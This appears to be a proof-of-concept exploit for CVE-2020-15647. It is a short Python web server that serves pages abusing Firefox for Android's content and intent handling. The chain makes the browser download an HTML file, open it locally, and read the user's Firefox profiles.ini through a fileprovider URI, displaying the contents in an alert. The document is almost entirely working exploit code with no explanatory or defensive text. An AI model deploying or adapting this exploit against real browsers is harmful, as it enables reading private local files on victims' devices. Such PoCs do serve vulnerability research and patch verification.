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CVE-2020-15647 PoC
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| from http.server import HTTPServer, BaseHTTPRequestHandler | |
| class SimpleHTTPRequestHandler(BaseHTTPRequestHandler): | |
| def get_file_html(self): | |
| return """ | |
| <!DOCTYPE html> | |
| <html> | |
| <script> | |
| function start() { | |
| setTimeout(function() { | |
| var xmlHttp = new XMLHttpRequest(); | |
| xmlHttp.onreadystatechange = function() { | |
| if (this.readyState == 4) { | |
| alert(xmlHttp.responseText); | |
| } | |
| }; | |
| xmlHttp.open("GET", window.location, true); | |
| xmlHttp.send(); | |
| }, 1500); | |
| } | |
| </script> | |
| <iframe id="my_iframe" src="content://org.mozilla.firefox.fileprovider/root/data/user/0/org.mozilla.firefox/files/mozilla/profiles.ini" onload="start()"></iframe> | |
| </html> | |
| """ | |
| def do_GET(self): | |
| if "/file" in self.path: | |
| self.send_response(200) | |
| self.send_header("Content-Type", "application/octet-stream") | |
| self.send_header("content-disposition", "attachment; filename=profiles.ini") | |
| self.end_headers() | |
| self.wfile.write(self.get_file_html().encode()) | |
| else: | |
| self.send_response(200) | |
| self.end_headers() | |
| body = b""" | |
| <html> | |
| <script> | |
| setTimeout(function () { | |
| window.location.href = 'android-app://org.mozilla.firefox/content/org.mozilla.firefox.fileprovider/root/sdcard/Download/profiles.ini#Intent;type=text/html;end'; | |
| }, 1500); | |
| </script> | |
| <iframe src="file"></iframe> | |
| </html> | |
| """ | |
| self.wfile.write(body) | |
| httpd = HTTPServer(('localhost', 8080), SimpleHTTPRequestHandler) | |
| httpd.serve_forever() |
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